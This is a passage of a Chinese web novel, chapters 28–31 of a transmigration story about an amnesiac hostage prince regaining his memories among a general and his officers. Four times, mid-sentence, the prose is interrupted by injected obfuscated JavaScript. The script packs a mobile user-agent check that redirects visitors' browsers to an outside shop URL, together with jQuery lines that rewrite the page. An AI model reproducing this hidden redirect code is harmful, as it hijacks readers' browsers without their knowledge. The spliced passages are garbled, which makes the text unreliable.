直到他感受到一件衣服披在了他身上,浑身湿透的小孩仰头,舒明尘看到的是一张和谢南渝有些相似的脸,但很显然这并不是谢南渝。 接着他就看见对方张了张嘴,似乎对他说了什么。但舒明尘并没有回答,空洞的瞳孔一直看着对方的眼睛。 他在那双眼睛里看到了小小的自己,以及,他的脸上不断流下的泪水。 不是因为那些人给予的痛苦,仅仅是因为一个陌生人的善意。 然而对方没打算在这里久待,只匆匆说了几句话就走了。 接着,他看见了那只墨绿色的玉佩静静地躺在布满青苔的石砖上。 但是这样的善意,他也就遇到过这么一次,之后的生活更加不好过。 舒明尘无数次感受到自己蜷缩在冰冷的床脚,忍受着腹中的饥饿感,一点点等待下人送来的食物。 最后等来的不是冷的发硬的面饼,就是泡在冷水里涨大的馒头。 后来又发生了一些事,他看到长大的三皇子来了又走,又看到五皇子拿着拳头对他恐吓。 他还看见身着明黄色的帝王居高临下地望着他,眼底满是厌恶,周遭的一切都很安静,像是对将死之人的怜悯。 然后是皑皑的雪,马车在上面压出一道又一道轮廓,路上并不太平,舒明尘隐隐知道原因,因为他并没有办好对方交代的事,遭到了无休止的报复。 他坐在颠簸的马车里,感觉他的身体也随着轻轻地摇晃,不知道是不是因为这个,他感觉眼前的景象都有些不真切了。 “醒醒,该喝药了。” 于是他睁开了眼,沈司看到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14061634|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他醒了,停下了动作,递过来一碗药。 舒明尘脸上满是不情愿,但还是乖乖喝了下去,喝完就朝着沈司伸出了手。 沈司也十分有信用地递给他一袋桂花糖。 失去记忆的舒明尘还挺好骗的。 一开始舒明尘还死活不肯喝药,那药苦的要死,他现在又没有记忆,根本不知道自己为什么要喝药。 后来还是沈司发现舒明尘好像挺喜欢吃甜食的,就试探性地买了点糖,就这样,舒明尘才慢慢同意喝药。 “刚才做噩梦了?” 喝药并没有固定时间,他看着是刚才舒明尘表情不对,正好药也煎好了,才把对方喊起来。 舒明尘咬着糖,含糊不清的应了一声。 鉴于沈司每次都带些舒明尘喜欢吃的东西,还不让其他两个人带,美其名曰“吃太甜也不好”,所以舒明尘和沈司还算是亲近的。 看的另外两个人是无比羡慕。 沈司想着还是得让舒明尘多出去走走,这对身体恢复也有帮助。但是他今天还有点事,跟舒明尘商量等他在军营忙完就带对方出去逛逛。 舒明尘很大度地表示他可以跟着沈司一起去,沈司想了想,军营里都是自己人,也没什么,就答应了。 然后等他带着舒明尘出现在军营的时候就后悔了,甫一进入,沈司就感受到了一道道炙热的视线,不是针对他,是他旁边的舒明尘。 鉴于之前他们造势的很成功,士兵们对传言中的主角很好奇,舒明尘一出现就成了大家的焦点。 云容板着脸训着这些无故停止训练的士兵,让他们再多跑十圈。 现场顿时哀嚎一片。 反倒是舒明尘还很好奇地看着这群拉练的士兵。 云容在一旁埋怨道:“你怎么不早说,再说了,军营不比别处,到处都是土,他还没好全……” 沈司被训的一个头两个大。 虽然没提前说是他的不对,但是舒明尘也没有这么娇弱吧? 一旁的舒明尘对沈司的遭遇充耳不闻,原因是系统在他脑海里转移他注意力: “舒舒你看,那边的士兵在切磋哎!那个小个子的竟然能打过比他高一头的……” 舒明尘果然循声望去。 系统还记得那药还是沈司端来的,要不是沈司搞这些幺蛾子,他和舒舒早就走了,舒舒也不至于忘记它。 它想着想着就悲从中来,完全没注意他的宿主此刻已经调转了方向,目光直直地落在了谢南渝的身上。 “怎么了?” 他还是听见士兵的禀报才知道舒明尘来了,出来的时候也是急匆匆的。 看到舒明尘这个样子,谢南渝不自觉地摸了摸脸,难道出来的太急,脸上有什么东西? 他正打算再说点什么,却看见舒明尘从怀里掏出什么东西来。 “你的,还给你。” 他瞳孔一缩。 是一枚玉佩。 却不是他的。 28.炮灰质子(28) 谢南渝并不是在谢家出生的,最起码在他刚有记忆的时候不是。 他的记忆中也没有父亲,只有终日为生计忧愁的母亲和始终陪伴在身边的侍女阿瑛。 他的母亲出身名门,年少时期遇见他的父亲,甫一见君,一往而深。 青春男女相互慕艾,他的父亲也承诺会尽快带人来提亲,但他的母亲等了许久,只等来了自己有孕的消息和即将被家族处理的噩耗。 名门女子最忌暗中苟合,更何况她腹中还有了对方的骨肉,最后等待的命运也不过是一条白绫勒死,随后家族便对外宣称暴病而亡罢了。 于是他的母亲带着尚未出生的他以及从小一起长大的侍女瑛儿悄悄跑了。 家族自是不敢大张旗鼓地找,一段时间找不到人后就开始对外说有个女儿病入膏肓,在做足了戏后她就自然而然地“病逝”了。 他对小时候的记忆并不十分明晰,而现在随着这枚玉佩再次出现在他的面前,那段记忆便又翻涌了起来。 那时他还太小,他现在的父亲出现在破破烂烂的茅草屋里,一边捂着他的耳朵一边对着他母亲说着话。 他隐隐约约地听见“抱歉”、“战事”、“身亡”几个词,随后是母亲悲伤的啜泣。 他仰头,恰能看见对方腰间坠着一枚玉佩,在阳光下显出诱人的绿色。 而现在,这枚玉佩再次出现在了他的眼前。 他忽然明白了。 原来舒明尘要帮的并不是他,他不过是蒙了父亲的荫庇,又差点亲手将这份不属于他的报答淹没在北晋的风雪里。 见对方迟迟不接,舒明尘低下头疑惑地看了看玉佩,复而又抬头看向谢南渝,唔,没错。 大量记忆的迅速涌入让他产生了混乱,他只知道这个玉佩要还回去,全然没有意识到自己现在处在一个怎样的时间段。 于是他又将手里的东西更高地递了过去,还补充道:“没有坏。” 这下不仅是谢南渝,连云容和沈司都注意到这边的情况,抬脚走了过来。 这样僵持着也不是办法。 谢南渝只能暂且收下,想着等舒明尘恢复记忆了再还给对方。 父亲的东西,送出去了就没有再要回的道理,更何况,若是父亲还在,也不会同一个小辈计较一枚玉佩的。 先镇北王,谢南渝之父,在晋邺盟约破裂后赶赴战场,因军情有误,殉国。 见谢南渝收下了,舒明尘肉眼可见地神色欢喜,又小声地辩解:“你好久都不来,我见不到你。” “我……有点事,以后我常去。” 谁料他摇了摇头,认真说道:“这里不好,不要常来。” “聊什么呢?” 谈话间另外两人已经走了过来,沈司看了看舒明尘,又看了看将军。两人一个脑子不清楚不回他,另一个脑子清楚也不回他。 啧。 难得有种被明目张胆嫌弃的感觉。 但他是个乐天派,又不像云容跟个闷嘴葫芦似的,在熟悉的人面前向来有话直说,此刻倒也不觉得尴尬。 于是他把胳膊虚虚地搭在舒明尘的肩上,一副“哥俩好”的样子,又恨铁不成钢地说道:“我们两个可是一起来的,你难道忘了这些天的革命友谊了吗?” 他可是每天加急处理完各种公务又赶去陪舒明尘的,虽然也没人要求他这么干就是了。 舒明尘终于念及了眼前人的好处,认认真真地摇头,看着对方欣慰的表情顺着杆子就爬了上去,伸出手道:“糖,还要。” 沈司之前的表情还没维持太久,立马就被舒明尘这种见风使舵的做法震惊到了,一时间脸上精彩纷呈。 直到另外两个人忍俊不禁,他才又换上一副伤心不已的嘴脸。 吵吵闹闹一场,最后舒明尘也没能吃上他心心念念的桂花糖,原因是,他毕竟来之前刚吃了一包,就像沈司之前用来搪塞两人的话一样,非必要不能再让他多吃了。 结果就是舒明尘对他显然没有刚开始那样热络,反而对另外两人亲近了很多。 沈司搬起石头砸了自己的脚,只能在一旁长吁短叹地说着世风日下,人心不古。 谢南渝哈哈大笑,就连一向不苟言笑的云容也受到了这种气氛的感染,弯了弯嘴角。 今日风轻日暖,是个难得的好天气。 只有几名一开始的倒霉蛋还在苦哈哈地跑圈。 舒明尘的记忆越来越完整了。 一开始他并不知道眼前都是些什么人,后来即便错认了谢南渝,也没能使记忆进一步恢复。 直到有一次云容在他身边经过,他愣愣地盯了半晌才出声喊了一句:“云容。” 云容一开始还以为是哪个不长眼的士兵,回过头来才意识到刚才的声音来自舒明尘。 这是个好消息,按照这个速度,不出三天,舒明尘就能完全想起来了。 系统显然也意识到了他的苦日子就要结束了,在脑海里双手合十,祈求时间过得再快一点。 脑子里有声音显然很影响他,舒明尘皱了皱眉,试探性地在心里说道:“你好吵,能不能安静点。” 系统:…… 系统哇哇大哭。 它的宿主不记得它了,它的宿主还嫌它吵。 系统委屈的不行,但还是怕舒明尘更嫌弃他,勉强止住了哭声,把自己缩在角落里,团成一团,不吭声了。 他的宿主什么时候能回归正常啊! 终于安静了。 今天刚好是休沐日日,上午训练结束之后,下午就可以自由活动了。难得有个休息的时间,士兵们三三两两地聚在一起,或是打叶子牌,或是喝酒划拳。 舒明尘还好奇地问了句军营里也能随便喝酒吗? 云容扫了眼兴致勃勃玩乐的士兵,解释道:“是米酒,这种酒不易醉,价格也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090885|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公道,陈郡守念士兵们奔波多日,特意送过来的。” 舒明尘自己还尝了尝,确实带了点粮食的味道,有点甜,但更多的是酸,他扁了扁嘴,不好喝,还是糖好吃。 云容想也知道舒明尘不喜欢这类酒,安慰道:“新人喝不惯这种酒,京城最近新出了桂花酿,等回去之后带你尝尝,比这个甜味要重点。” 桂花酒,会比桂花糖甜吗? 他咂摸了下嘴,点了点头。 前面沈司两人注意到了他们,招着手催促他们过来。 等舒明尘走过去的时候才发现,面前是一个空旷的场地,几个圆润的沙包放在一边,沈司随手拿起一个,掂了掂,又用十足的力气丢了出去。 不多时,有士兵来报:“沈副营使六丈三尺两寸,目前第一。” 哇,感觉好厉害的样子。 系统看了看又不屑地移开了目光,有什么好看的,不就是古代版实心球吗!它才不看! 虽然也没有人注意他就是了。 察觉到舒明尘钦佩的目光,沈司骄傲地挺了挺胸,正要向舒明尘传授一下自己的技巧,就听见士兵又报: “云统领六丈六尺三寸!” 于是舒明尘的目光顺理成章地转移到了云容身上,云容那厮挠挠头不好意思地说道:“随便扔了一下,没想到……” 没想到什么啊,你抡圆了胳膊扔的,在场的人可都看到了。 沈司深吸了口气,刚想继续说,又听见士兵继续报: “谢将军七丈五尺一寸!” 谢南渝在一旁无辜地看着他。 他故意的!绝对是! 好生气哦,但还要保持微笑。 不行,还是好气。 这两个黑心煤球! 舒明尘跃跃欲试,沈司自告奋勇地在一旁指导:“放轻松,重心放在右后方……” 哎? 怎么掉了? 他以为是不小心,捡起来放回对方手里,还说着“别紧张”,然后就眼看着这双手像是不堪重负一般垂了下去,任由手中的东西回到了原来的位置。 “你……” 谢南渝拍了拍脑门,像是刚想起来,“我忘了你手上的伤还没好全,现在还不能拿重物。” “要不我们去看看别的?” 舒明尘没接话茬,只是低头打量了许久,这双手看上去完好无损,没有半点受过伤的痕迹。 “伤?”他反复咀嚼着这个陌生的词,却还是没能想起来任何。 “为什么我的手上,会有伤?” 他茫然地问道。 忽而他又想继续问为什么这么久了还没有痊愈,只是观望了一下他们的脸色,还是放弃了。 为什么? 谢南渝想,是因为,他是没打算救舒明尘的。 而舒明尘知道。 因为知道,所以他在绝望里等待另一个绝望。 29.第 29 章 那天后来不了了之,只是来了几个大夫,在舒明尘面前叽叽咕咕了半天,最后推举出一人,显然此人有对症之术。 林汝声清了清嗓子道:“此症当先以药物温补再兼通经散络为辅,因公子体虚而久病,畏寒畏湿,以致气血两虚,还需以针灸为治。” 说完亮出了一排银针。 舒明尘:……他感觉他的病突然好了,要不就不用了吧? 眼看着那银针已然要落到他身上,舒明尘飞快地收起了手,正在思考瞎编个什么理由混过去的时候,一旁的云容出了声: “这个法子不太合适,换一个吧。” 云容是个天使! 天使还对他安抚性道:“别担心,不用那个。” 舒明尘小鸡啄米,舒明尘双手赞成。 而云容眼底灰暗一片,晋国用在殿下身上的手段,银针也是其中之一。 他又想起那时在牢里,到处都是阴冷枯朽的灰尘,只有殿下的身上是刺眼的红。 别怕,都会过去的。 是夜,今天的熏香里特意加了安神香,舒明尘无知无觉地吸了不少,此刻已经安眠。 云容出现在塌边,吩咐道:“动手吧。” 林汝声展开医匣,开始行针,结束之后,云容问道:“他要多久才能好?” 林汝声沉吟片刻道:“可能一个月,也可能半年,甚至即便痊愈之后,若遇阴湿天气,有极大概率复发。” 云容抿抿嘴:“就没有其他办法?” 年过六旬的老者摊摊手,无奈道:“此类病症并无彻底痊愈之说,只能尽力保养,日常起居多加注意,药物辅助、针灸之术都只能缓解……” 所谓隔行如隔山,他很有耐心地给这位统领普及了一下,常人的病尚且不能根治,更何况像舒明尘这种,他能活下来就算是命大了。 要是再想和之前一模一样是不可能的。 送走林大夫后,云容挫败地想到:如果不能和之前一模一样,那这些日子的努力又算什么呢? 他们做的这些,就是想让他醒过来的时候一切都和之前一样啊。 本来舒明尘记忆的恢复是一件令人值得高兴的事,但此刻云容却难得希望可以晚一点。 但事情总是不会朝着人们所希望的发展,预料之中的事也会有变数。 某天,舒明尘认真端详了谢南渝许久之后才说:“你不是他。”。 他难得仔细整理了自己的记忆,他去了晋国,然后现在他们告诉他,晋国战败了,他可以回去了。 一切好像都没问题,可是…… 他捂住自己的头,好像有人低低的说话声,很小,却精准地传入了他的耳膜。 “邺国内斗真是……啧啧,那将军死之前都没想到是谁泄露了消息……” “小声些,万一被听见了……” “怕那个病秧子做什么,他整日除了病就是睡,就算知道了又能怎么样?” 于是另一个声音渐渐明晰了起来。 “也是。我跟你讲,这事,少不得还有那位的参与。” “怎么说?” “你难道不知那消息来自何处?” “不就是个无名小卒,为了些金银,什么都做的出来。” “他确是不值一提,但他是白副营使的亲信崔克部下的。这个白卓啊,可是那边最新提拔上来的。” “哎,两相争权,咱们啊,就坐收渔翁之利。” “要不说呢,我还听说白卓有个妹妹,可是那边宫里的宠妃呢……” 这时,另一个声音慢慢传了过来,他说:“慢慢想,不要着急……” 于是舒明尘确实意识到—— “他死了。” 谢南渝听到后不自觉地摩挲了下手指,叹道:“是,四年前,死在战场上。” 眼看着舒明尘的目光黯淡了下去,谢南渝想了想补充道: “相关的人后来都被问罪了,白卓也在前年夏天问斩了。” 这事发生在他夺权之前,大概是察觉到了他的意图,邺国皇帝将当年模糊不清的父亲死因查清了,人证、物证、口供一应俱全,甚至定罪也十分迅速,简直像是在讨好他一样。 甚至之后他再细查,也查不出半点不白之处。 记忆已经到三年前了吗?他揉了揉对方的发顶。 舒明尘显然对这个举动有些愕然,连表情都呆滞了。 他看着有趣,又说道:“今日是花朝节,落云城晚上有花神灯会,还有各色各样的花糕点心,要不要去看看?” 灯会啊,一听就有很多好玩的,舒明尘欣然应允。 落云城花神灯会闻名遐迩,陈郡守曾倾尽全力打造了一场盛大灯会,甫一出现,便受到了广泛称赞,至今提起花神灯会,除去京城等繁荣地带,可值一提的就是落云城了。 也算是一个不错的政绩了。 可惜落在一个不站队的官员身上,就像百姓辛苦劳作的赋税,被那些人三言两语地踩在脚底下,扔进泥土里。 不过倒也保住了落云城多年的安定。 舒明尘一行人来到的时候已经稍稍晚了,灯会已经开始,花灯悬在高处,流光溢彩,花纸上的人物栩栩如生,他们踏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112121|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着光影路过摇曳的彩灯,真是美轮美奂。 摊贩们的叫卖声此起彼伏,不远处还有猜灯谜赢花灯的场子,大多数人都只答几个,最后实在想不起来,只能乖乖掏钱买了个花灯。 所幸这种场合的花灯大多精美,单是如此也不觉得吃亏。 舒明尘兴致勃勃地挑了个还不错的摊位,拉着云容就开始大展拳脚。 系统也在脑海里出谋划策,它算是想明白了,左右它家宿主恢复记忆就在这一两日了,恢复记忆后,舒舒看见它这么懂事一定会夸它的! 系统已经忘了前几日在舒明尘脑海里随地大小哭被嫌弃的事了。 最后舒明尘果不其然得到了一个免费的花灯。 一旁的云容就没这样的好运气了,再答错一个后,也是乖乖掏了钱。 最后两人一人提着一只花灯,正好撞见也一人一花灯的组合—— 沈司、谢南渝。 沈司绘声绘色地同他们讲:“那边有个超级难的谜题,那老板说好几个书生都没猜出来,我往那一站,一眼就说出了谜底。” 作为奖励,老板直接把一个最大的花灯送给他了。 沈司还怂恿谢南渝去试试,结果谢南渝果然如他所料卡在了半路,在沈司揶揄的目光下掏钱买了一只。 谢南渝无可奈何地看着沈司把刚才的故事又讲了一遍,颇有种生无可恋的感觉。 忽而周围的人声大了,在一片激动掺杂着期待的目光下,火树银花乍现于黑夜,像一盏硕大的花伞,在视线停驻的刹那转瞬而逝。 “生辰快乐。” 舒明尘循声望去,就看到沈司站在烟花的阴影,在人声鼎沸的街市上做了个口型:“生辰快乐。” 原来,今天是他生辰。 不知怎么,他耳边进而浮现一个温柔的女声,也说着:“阿尘,生辰快乐。” 轻的好像是他的幻觉。 烟花停了,那些声音便也渐渐远去了。 但花灯会还没结束,一行人继续走走停停,吃吃喝喝,不知不觉已到了深夜,舒明尘困得哈欠都出来了,终于决定打道回府。 舒明尘趴在云容的肩上,半梦半醒间嘟囔了一句:“云容,你没有把作战计划传给谢南渝吗?” 云容稳健的脚步顿了一下,又继续平静说道:“给了。” “那为什么还会输啊……” 最后一个字消失在极度的困意里,说话人已经沉入梦乡,只有余下三人静静地前行。 在寂静的夜晚,月亮也发出了一声叹息。 因为需要迷惑晋军,但无人告知他。 30.炮灰质子(30) 翌日,清醒过来的舒明尘回想了自己这些天干的蠢事,又默默地拿被子盖住了自己的脸。 这都什么事啊! 主角在干什么啊! 想了想,他又把系统敲了出来。 脑海中的系统可算是逮到了说话的机会,对着舒明尘哇——的一声就哭了出来。 “舒舒……呜呜呜,你终于正常了,我还以为…我们要一直待在这……” 系统哭嗝儿都冒出来了,看样子这次是真的吓得不轻。 舒明尘:“……虽然但是,统儿,你是不是忘了我们可以申请强制脱离世界?” 像他们这种炮灰工作者,死的方式各种都有,但有时候可能没死透会变成植物人啊等等,为了防止这种情况,在他们无意识一周后,系统可以主动申请强制脱离世界。 舒明尘不说还好,说了之后系统哭的更厉害了。 系统当时守了舒明尘好几天,结果他一直没醒,系统就在一周后向主系统申请强制脱离世界,结果没想到它的申请被主系统驳回了。 理由是——查询到本世界邺国九皇子已死亡,申请驳回。 系统当时的心态是真的崩了,偏偏那个时候舒明尘还一直在沉睡,它连个商量的人都没有。 别说系统了,舒明尘现在听到这个理由都感觉离了个大谱——什么叫邺国九皇子已死亡,他现在不是还好好活着呢吗! 主系统是不是出bug了? 一人一统开始怀疑人生。 “系统,申请和主系统连线。”舒明尘现在脑子一团乱,这都是一堆什么破事?! 系统老老实实提交申请,这种连线申请需要由任务者主动发起,毕竟系统只是起辅助功能,真正做任务的还是任务者。 这也就是为什么之前舒明尘沉睡那么多天,系统差点崩溃的原因。 “主系统大概多久会回复?”舒明尘问道,他好提前腾一腾时间。 “舒舒,我也不知道。”系统心虚地说道。 哦,他都忘了系统跟他一样都是小白了。 唉,那现在只能等主系统连线了,他得搞清楚到底是怎么回事。 “好了,现在我们说一说原主记忆的事。”舒明尘开始秋后算账。 他那几天过得是真惨啊,连做梦都是在皇宫里过苦哈哈的穷日子。 系统如临大敌,系统鸣冤叫屈。 “舒舒我也是没办法,你当时不记得我了,我以为把记忆传给你你能快点想起来……” 它越说声音越小,最后觉得自己也不占理,又默默地回去当缩头乌龟了。 舒明尘气不打一处来,现在好了,照前几天他东一棒子,西一榔头的话,主角团得脑补成什么样子啊…… 舒明尘:卒。 卒是卒不了的,坑是得自己填的。 他只能期待着主系统快点联系他,这糟糕的世界和离谱的剧情走向,他控制不住了。 青羽走进来的时候,舒明尘还靠在床头发呆,他百思不得其解,他明明还活着,怎么就死了呢? ……听上去好像是个病句,不过这并不重要。 直到青羽问他要不要穿膳,他才大梦初醒般应了一声。 一想到出去还要面对那几个人,舒明尘就觉得头大,索性就缩在屋子里大门不出、二门不迈。 但他忘了之前沈司来找他的频繁性,所以场面就变成了这样:舒明尘顶着一张面瘫脸对着沈司,沈司那边摩挲着下巴说道: “想起来了?” 连药都自觉地喝了。 就是因为想起来了才不知道要摆出一个什么表情啊! 救命。 而显然他们三个也是知道会遇到这种情况,直接打发沈司过来了。 美其名曰——他处理这种情况小菜一碟。 沈司也是知道那两个人的小九九,半推半就的答应了。 舒明尘纠结了半天,还是挤出了一句话:“你当初让我喝得是什么东西?” “秋露白,持续使用可以让人一直保持昏睡,接近假死状态。” 沈司一边吃着饭,一边抽空回了对方一句。 那两个人还没等他吃完饭就把他赶过来了,没良心! 当然他也没忘记了最重要的一点:“九皇子已经因为叛国饮鸩而死。” ??? 所以这就是为什么,主系统会说本世界邺国九皇子已死亡? 这就是为什么强制脱离世界的申请被驳回? 舒明尘表情都变了又变,最终还是忍不住对系统吐槽:“这个位面有这种药合理吗?” “呃……虽然听上去不太合理,但是发生在主角身上,也是很合理的。” 舒明尘无言以对。 这个世界就是主角的舔狗! 还是超级无极舔的那种! 剩下的时间沈司都没再说话,让舒明尘自己消化庞杂的信息量。 “呃,那我现在是什么?” 沈司反倒一脸无所谓地问起了他:“你想要个什么身份?” 舒明尘呆滞脸。 有权利真是可以为所欲为啊。 什么时候他也能过一把权利的瘾! 但舒明尘总觉得他在这个世界待不了多久,身份嘛,随便搞搞得了,等他跟主系统交涉一下,理理这个世界的bug,那时候应该就可以走了。 因此,舒明尘想了想,开口道:“随便吧。” 无所谓啦,反正也待不了多久。 意料之中的答案,沈司想到,舒明尘总是这么一副无所谓的态度。活着或是死亡,对他来说好像没什么区别。 “好吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14132662|148043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 舒明尘挥手送走了沈司,顺便还婉拒了去军营的邀请。 开玩笑,他之前说的信誓旦旦,结果转头把自己给卖了,他现在一想到那种场面就尴尬。 沈司也没强求,最后几个侍女进来又出去,这里又剩了他一个人。 所幸舒明尘不多时就等来了主系统的连线,他简单概括了一下为什么九皇子死了但他还活着这件事,并心虚地问了问这种情况对他的任务有什么影响。 主系统表示它工作了这么多年,还是第一次遇见舒明尘这种情况。一般来说,主角都是恨不得杀了这种炮灰反派的,哪会像现在这样费尽心思让舒明尘活着。 不过它还是公事公办地说道:“检测到你的任务已经完成,不会影响。” 然后主系统从资料库里提取了一下这个世界的信息,疑惑问道:“你当初为什么要和晋国合作?” 舒明尘还沉浸在任务不会受到影响的喜悦中,闻言答道:“当时不这么干我就死了。” 他要是死了,云容还怎么在安城待着,任务不就凉了吗? 主系统只是知道大概情况,具体细节不清楚,听到舒明尘这么说,也只是把这种情况归为投放时间过早,所以跟原剧情产生了一些偏差。 要说投放时间这个问题,其实锅还在主系统身上。 主系统难得感受到一丝心虚。 舒明尘继续问:“那我接下来是不是找个机会死回去就行了?” 主系统:“建议你不要这么干。” 为什么? 他的疑问还没说出口,就听见主系统继续道:“如果你要死,需要有一个合理的理由。” 那他之前怎么可以随便死?舒明尘忍不住问了出来。 “因为你之前只是个炮灰,跟主角几乎没有接触。”主系统适时解决了他的疑惑。 啊?那他现在要怎么找到一个合理的理由啊! 简直是飞来横祸! “我的建议是你在这个世界待到自然死亡,这样比较稳妥。”万一让主角察觉到什么就麻烦了。 舒明尘:…… 彳亍吧。 “那你是不是应该多给我一些补偿?” 这都是因为投放时间太早了,不然怎么会发展到这个地步? “……你想要什么?”说到底是它的锅,主系统现在明显底气不足。 经过舒明尘和主系统一番拉扯之后,舒明尘最终为自己争取到以下补偿: 本世界以及下个世界所获得积分翻倍;保留新手福利,可以作用于任何一个世界;可以自主选择一个世界,并自由调整投放时间——但投放时间只能早于预计投放时间。 舒明尘觉得那个投放时间的选择简直鸡肋,他只想穿到炮灰死前一秒,那样任务岂不是秒完成。 可惜不行。 31.炮灰质子(31) 舒明尘悄悄撇了眼主角,又立马撤回了一个眼神,眼观鼻鼻观心,开始盯着面前的一碟桂花糕。 嗯,这个桂花糕可真好看啊。 啊啊啊啊虽然已经接受了还要留在这个世界的现实,可是在谢南渝面前还是觉得好尬,尬得他想找个洞钻进去。 谢南渝有没有什么加急的公务啊,有没有士兵来提醒他要去加班了啊…… 最重要的是,有没有谁能把他从眼前这个诡异尴尬的氛围解救出来啊! 谢南渝没有公务,甚至他就是特地赶完公务才来见舒明尘的。 看着对面不自在的小动作,他还觉得有些好笑,其实说起来,舒明尘也还小,20岁,是京城公子刚开始接手自家产业的年纪。 而舒明尘已经在晋国的腥风血雨中吹打地支离破碎。 他勉强压下心中情绪,拿出那枚当初舒明尘“误还”的玉佩,他一直想找机会还回去,现在对方记忆恢复了,正好是个时机。 哪知舒明尘诧异地看了他一眼,随后想到这正好是个打破他们脑补的好机会,于是他原原本本的把他的记忆说了一遍。 最后还补充说了一句:“这玉佩不是我的,虽然他的主人已经不在了,但留在你手里也算是物归原主了。” 谢南渝本以为父亲和舒明尘之间的过往即便称不上感人肺腑,至少也会是雪中送炭的情谊,哪知仅仅就是这么一件小事。 “你帮我,是因为我父亲吗?”这个问题已经在谢南渝脑海里出现了无数遍,此刻说出来有种如释重负的感觉。 嗯……其实不是。 他当时还没接收原主记忆,他帮谢南渝是因为任务需要,但他现在好像也只能说是。 于是舒明尘点了点头道:“他帮过我,投桃报李,我也应该帮你。” 帮?那也算帮吗?舒明尘那个时候还那么小,把他一个人留在河边,也叫帮吗? 但就是这么一件事,让舒明尘记了这么多年。 大概对于在苦中长大的孩子来说,那一点点甜弥足珍贵。 大军已在落云城停顿许久,听谢南渝的意思,再最后休整几天,就要继续启程了。 谢南渝当初作此决定本来就是因为舒明尘苏醒在即,需要一个安稳的环境,现在看对方已无大碍,自然要继续行进。 舒明尘没有意见,说实话现在已经没他啥事了,他现在唯一的任务就是混吃等死,顺便和系统唠唠嗑。 舒明尘还怂恿小系统,看能不能联系它的同伴,取点经之类的。 哪知系统义正言辞地拒绝了,还一板一眼地说他们系统界有规定,不能私自交流,唯一交流对象是主系统,而且这个权限也只有宿主在才能主动发起。 舒明尘虚空弹了弹小系统的脑壳,果然刚上岗的小萌新还在视规定如命的阶段,不好骗啊。 他伸了个懒腰,现在的日子真是太舒服了,再闲着没事逗逗小系统,生活美滋滋。 但人是不可能一帆风顺的。 这天正好碰上军队原地修整的命令,舒明尘在马车上躺了许久,感觉整个身子都僵硬了,于是借此机会下来活动活动。 他一边和系统聊着天,一边随意地走着,周围的士兵训练有素地站在一旁,并没有人上前阻拦他,想来是得到了他们将军的指令。 直到—— “这位公子,好久不见。”一道嘶哑的声音从囚车中传来。 舒明尘转头望去,只看见了一个蓬头垢面的囚犯,对方身上的囚衣脏污不堪,混着类似鞭痕的痕迹,就连暴露在外的手指上都血迹斑斑。 晋国的最后一个皇帝——李淮景啊。 “真是没想到,你还活着。”他嗤笑一声,浑浊的眼球转了转,移到舒明尘身旁的士兵上,“不过,他似乎并不放心你,还要派人来监视你。” “陛下,挑拨离间没用的。” 他这样说着,手上拍了拍不存在的灰尘,在囚车前气定神闲道:“你如果没有别的话,我就走了。” “站住!你就不信我把你的身份说出去,到时候你……” 舒明尘没有回答,只是低头含笑望着他,好像只是在看一个无理取闹的孩子。 出事的怎么会是舒明尘呢? 只会是他,一个亡国的帝王,因为接受不了现实,在半路疯了。 李淮景在那张微笑的脸上读出了这个信息,于是嚣张的声音戛然而止,转而是惊骇与畏惧。 许久之后,他才阴沉着脸问道:“你到底,想要什么?” 邺国九皇子畏罪自尽,这可是人尽皆知的消息,他实在想不明白,费尽心思为他人做嫁衣,究竟能得到什么。 哪知舒明尘打量了他片刻,随后像是想到了什么,开口道: “陛下还是多考虑考虑自己,永平二十一年,景和九年,你和邺国皇室密谋,将上任镇北侯及其麾下将士围困西陂坡,最终导致主将战死,三万大军全军覆没。” 永平是他父皇的年号,而景和,显然就是面前这位所选用的。 “你在说什么……”李淮景嗤笑一声,用手指在虚空中点了下,说道,“脑子坏了就去治,别在外面乱跑。” 可是舒明尘却煞有其事地继续说道: 